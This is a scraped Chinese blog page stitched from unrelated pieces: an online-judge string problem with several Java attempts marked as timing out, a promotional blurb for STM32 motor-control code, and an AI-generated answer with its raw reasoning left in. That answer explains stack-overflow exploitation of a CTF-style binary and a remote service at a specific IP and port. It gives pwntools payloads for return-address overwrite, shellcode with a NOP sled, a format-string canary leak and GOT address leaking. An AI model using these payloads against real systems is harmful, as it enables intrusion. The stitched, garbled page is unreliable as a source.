Good Luck!

本文探讨了一个字符串处理问题,即寻找一个既是给定字符串的前缀也是后缀的子串,并且该子串还必须出现在字符串的中间部分。文章提供了几种尝试解决此问题的Java代码示例。

Time Limit: 1000 ms Memory Limit: 65536 KiB

Problem Description
我们都知道,前缀就是一个单词的前几个字母(长度小于单词长度);后缀就是一个单词的后几个字母(长度小于单词长度)。例如:Hello,{H,He,Hel,Hell}都是Hello的前缀,{ello,llo,lo,o}都是Hello的后缀。现在,给你一个字符串String,你的任务是找出一个字串s,s既是String的前缀,又是String的后缀,并且s也出现在String的中间部分(既不是前缀,也不是后缀),s的长度越长越好。
Input
输入一个N,接下来N行,每行一个字符串String,String长度len( 1 <= len <= 1000000)。
Output
输出只有一行,如果有符合条件的s,输出长度最长的s,如果没有,输出“Bad Luck!”(不含引号)。
Sample Input
3
abcabcabcabcabc
papapapap
aaabaaaabab
Sample Output
abcabcabc
papap
Bad Luck!
Hint

Source
GLSilence

//完全使用String类的方法
//结果超时

//import java.text.ParseException;
//import java.text.SimpleDateFormat;
import java.text.SimpleDateFormat;
import java.util.*;

public class Main {
    public static void main(String[] args) throws Exception {
        Scanner ss = new Scanner(System.in);
        int n;
        n = ss.nextInt();
        ss.nextLine();
        while (n > 0) {
            String str = ss.nextLine();
            char a[] = str.toCharArray();
            int len = str.length();
            int maxlen = 0;
            String laststr = null;
            for (int i = 1; i < len; i++) {
                String tp = new String(a, len - i, i);
                if (str.startsWith(tp) && str.indexOf(tp, 1) != str.lastIndexOf(tp)) {
                    if (tp.length() > maxlen) {
                        maxlen = tp.length();
                        laststr = tp;
                    }
                }
            }
            if (laststr == null)
                System.out.println("Bad Luck!");
            else
                System.out.println(laststr);
            n--;
        }
        ss.close();
    }
}
//还是超时

import java.util.*;

public class Main {
    public static void main(String[] args) throws Exception {
        Scanner ss = new Scanner(System.in);
        int n;
        n = ss.nextInt();
        ss.nextLine();
        while (n > 0) {
            String str = ss.nextLine();
            int len = str.length();
            if (len <= 2) {
                System.out.println("Bad Luck!");
            } else {
                char a[] = str.toCharArray();
                int maxlen = 0;
                String laststr = null;
                String temp = new String(a, 1, len - 2);
                for (int i = 1; i < len; i++) {
                    String tp = new String(a, len - i, i);
                    if (str.startsWith(tp) && temp.contains(tp)) {
                        if (tp.length() > maxlen) {
                            maxlen = tp.length();
                            laststr = tp;
                        }
                    } 
                }
                if (laststr == null)
                    System.out.println("Bad Luck!");
                else
                    System.out.println(laststr);
            }
            n--;
        }
        ss.close();
    }
}
//超时
import java.util.*;

public class Main {
    public static void main(String[] args) throws Exception {
        Scanner ss = new Scanner(System.in);
        int n;
        n = ss.nextInt();
        ss.nextLine();
        while (n > 0) {
            String str = ss.nextLine();
            int len = str.length();
            if (len <= 2) {
                System.out.println("Bad Luck!");
            } else {
                int maxlen = 0;
                String laststr = null;
                String temp = str.substring(1, len - 1);
                for (int i = len - 1; i > 0; i--) {
                    String tp = str.substring(i);
                    if (str.startsWith(tp) && temp.contains(tp)) {
                        if (tp.length() > maxlen) {
                            maxlen = tp.length();
                            laststr = tp;
                        }
                    }
                }
                if (laststr == null)
                    System.out.println("Bad Luck!");
                else
                    System.out.println(laststr);
            }
            n--;
        }
        ss.close();
    }
}
STM32电机库无感代码注释无传感器版本龙贝格观测三电阻双AD采样前馈控制弱磁控制斜坡启动内容概要:本文档为一份关于STM32电机控制的无传感器版本代码注释资源,聚焦于龙贝格观测器在永磁同步电机(PMSM)无感控制中的应用。内容涵盖三电阻双通道AD采样技术、前馈控制、弱磁控制及斜坡启动等关键控制策略的实现方法,旨在通过详细的代码解析帮助开发者深入理解基于STM32平台的高性能电机控制算法设计与工程实现。文档适用于从事电机控制开发的技术人员,重点解析了无位置传感器控制下的转子初始定位、速度估算与系统稳定性优化等问题。; 适合人群:具备一定嵌入式开发基础,熟悉STM32平台及电机控制原理的工程师或研究人员,尤其适合从事无感FOC开发的中高级技术人员。; 使用场景及目标:①掌握龙贝格观测器在PMSM无感控制中的建模与实现;②理解三电阻采样与双AD同步采集的硬件匹配与软件处理机制;③实现前馈补偿提升动态响应、弱磁扩速控制策略以及平稳斜坡启动过程;④为实际项目中调试和优化无感FOC系统提供代码参考和技术支持; 阅读建议:建议结合STM32电机控制硬件平台进行代码对照阅读与实验验证,重点关注观测器设计、电流采样校准、PI参数整定及各控制模块之间的协同逻辑,建议配合示波器进行信号观测以加深对控制时序与性能表现的理解。
<think>我们正在分析两个独立的问题:一是使用nc连接特定地址端口输入长字符串后栈无内容;二是运行本地程序Stack_Over_Flow输入长字符串出现段错误。这两个问题虽然表现形式不同,但都涉及缓冲区溢出和栈操作。 问题一:使用nc连接45.40.247.139:30933输入长字符串后栈无内容 可能原因: 1. 远程服务程序可能存在栈保护机制(如Canary)或输入长度受限,导致输入未按预期写入栈。 2. 网络传输问题:nc发送的数据可能被截断或未完整送达。 3. 服务端程序逻辑:服务端程序可能对输入进行了过滤或处理,导致长字符串被丢弃。 解决步骤: 1. 验证网络连接:使用nc发送固定字符串,检查服务端响应。 ```bash echo "TEST" | nc 45.40.247.139 30933 ``` 2. 检查输入长度:尝试不同长度的输入,观察何时开始出现栈无内容。 3. 使用调试工具:如果服务端程序提供(如已知是CTF题目),尝试获取程序副本本地调试,或使用pwntools脚本精确控制输入长度。 4. 绕过栈保护:若存在Canary,需先泄露Canary值再构造payload。 问题二:运行本地程序Stack_Over_Flow输入长字符串出现段错误 原因分析: 1. 栈溢出导致返回地址被覆盖,程序跳转到非法地址。 2. 栈保护机制(如Canary)触发,检测到栈破坏而终止程序。 3. 输入函数行为:如使用gets(),它会一直写入直到换行符,造成溢出。 调试步骤: 1. 使用gdb/pwndbg定位崩溃点: ```bash gdb ./Stack_Over_Flow run < <(python3 -c "print('A'*200)") ``` 2. 观察崩溃时的寄存器状态(特别是RSP和RIP)和栈内容。 3. 检查保护机制: ```bash checksec ./Stack_Over_Flow ``` 4. 计算偏移量: - 使用cyclic生成模式字符串,根据崩溃时RIP的值计算偏移: ```bash cyclic 200 cyclic -l 0x6161616c # 假设崩溃时RIP为0x6161616c ``` 解决方案: 1. 若为栈溢出覆盖返回地址,精确控制payload覆盖返回地址为有效地址(如后门函数地址)。 2. 若存在NX保护,需使用ROP技术。 3. 若存在ASLR,需泄漏地址或固定地址攻击。 通用建议: - 对于远程服务,使用pwntools脚本自动化交互: ```python from pwn import * conn = remote('45.40.247.139', 30933) payload = b'A'*100 + p64(0x...) conn.sendline(payload) conn.interactive() ``` - 对于本地程序,生成core文件分析: ```bash ulimit -c unlimited ./Stack_Over_Flow <<< $(python3 -c "print('A'*200)") gdb ./Stack_Over_Flow core -ex 'bt' -ex 'quit' ``` 注意事项: 1. 确保输入字符串包含非零字符(如'A'),避免被误认为空输入。 2. 检查程序使用的输入函数:gets, fgets, read等,它们的行为不同。 相关问题: 1. 如何确定栈溢出的精确偏移量? 2. 如何绕过Canary栈保护机制? 3. 如何利用ROP绕过NX保护? 4. 如何利用格式化字符串漏洞泄漏栈地址? 请根据上述分析逐步排查问题。如果提供更具体的错误信息(如崩溃时的寄存器值或程序反汇编代码),可进一步分析。 </think>### 分析问题:输入长字符串出现栈无内容或段错误的原因 #### 问题一:使用 nc 连接特定地址端口时栈无内容 **可能原因:** 1. **网络缓冲区限制** - nc 发送数据时可能被内核网络缓冲区截断(默认约 64KB) - 验证方法:`$ sysctl net.core.wmem_max` 查看发送缓冲区大小[^1] 2. **服务端输入处理逻辑** - 目标服务可能使用 `fgets()` 等安全函数限制输入长度 - 服务代码示例: ```c char buf[64]; fgets(buf, sizeof(buf), stdin); // 自动截断超长输入 ``` 3. **TCP 协议分片** - 长字符串被拆分成多个 TCP 报文,服务端未完整重组 - 可通过 Wireshark 抓包验证:`$ tcpdump -i any port 30933 -w capture.pcap` #### 问题二:运行 Stack_Over_Flow 程序段错误 **根本原因:** - **栈溢出破坏关键数据** 输入字符串长度超过缓冲区大小,覆盖: - 返回地址 → 执行非法指令 → SIGSEGV[$] - 栈基指针 (RBP) → 栈帧破坏 → 无法访问局部变量[$] - Canary 值 (若启用) → __stack_chk_fail 触发[$] **调试验证:** ```bash # 1. 检查程序保护机制 checksec ./Stack_Over_Flow # 2. 生成崩溃现场(示例输出) $ python3 -c "print('A'*120)" | ./Stack_Over_Flow Segmentation fault (core dumped) # 3. 分析 core 文件 gdb ./Stack_Over_Flow core -ex "bt" -ex "x/i $rip" # 典型输出: # ▶ 0x41414141 in ?? () # RIP 被覆盖为 'AAAA' # ``` ### 解决方案 #### 对于 nc 连接问题 1. **分块发送数据** ```bash # 每 50 字节分块发送 python3 -c "s='A'*100; [print(s[i:i+50]) for i in range(0,100,50)]" | nc 45.40.247.139 30933 ``` 2. **使用专业工具代替 nc** ```python from pwn import * io = remote("45.40.247.139", 30933) io.send(b"A"*100) # 自动处理分片 print(io.recvall()) ``` #### 对于本地程序段错误 1. **精确计算溢出偏移量** ```bash # 使用 cyclic 模式定位 gdb ./Stack_Over_Flow run < <(cyclic 120) # 崩溃后执行: ► cyclic -l 0x6161616c # 根据 RIP 值计算偏移 ``` 2. **构造有效 payload** ```python from pwn import * context.binary = './Stack_Over_Flow' payload = b"A"*offset # 填充至返回地址前 payload += p64(0x401236) # 覆盖为合法地址 (示例) payload += b"\x90"*20 # NOP sled payload += shellcode # 实际攻击载荷 ``` 3. **绕过保护机制** - **Canary 保护**:先泄漏 canary 值 ```python payload = b"%23$p" # 通过格式化字符串泄漏 io.sendline(payload) canary = int(io.recvline(), 16) ``` - **PIE/ASLR**:使用 GOT 表泄漏基址 ```python payload = flat( b'A'*offset, elf.plt['puts'], elf.sym['main'], elf.got['puts'] ) ``` ### 栈结构示意与溢出点 ```mermaid graph LR A[输入缓冲区] -->|超长写入| B[保存的RBP] B -->|被覆盖| C[返回地址] C -->|被覆盖为非法值| D[段错误] D --> E[程序崩溃] ``` ### 相关问题 1. 如何确定栈溢出的精确偏移量? 2. Canary 保护机制的工作原理是什么? 3. 如何利用格式化字符串漏洞绕过 ASLR? 4. TCP 协议中如何确保大数据包的可靠传输? 5. 使用 pwntools 进行漏洞利用的基本框架是怎样的? [^1]: 网络缓冲区大小可通过 `sysctl` 命令验证和修改 [$]: 栈帧破坏时关键寄存器值可通过 GDB 的 `info registers` 命令检查
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值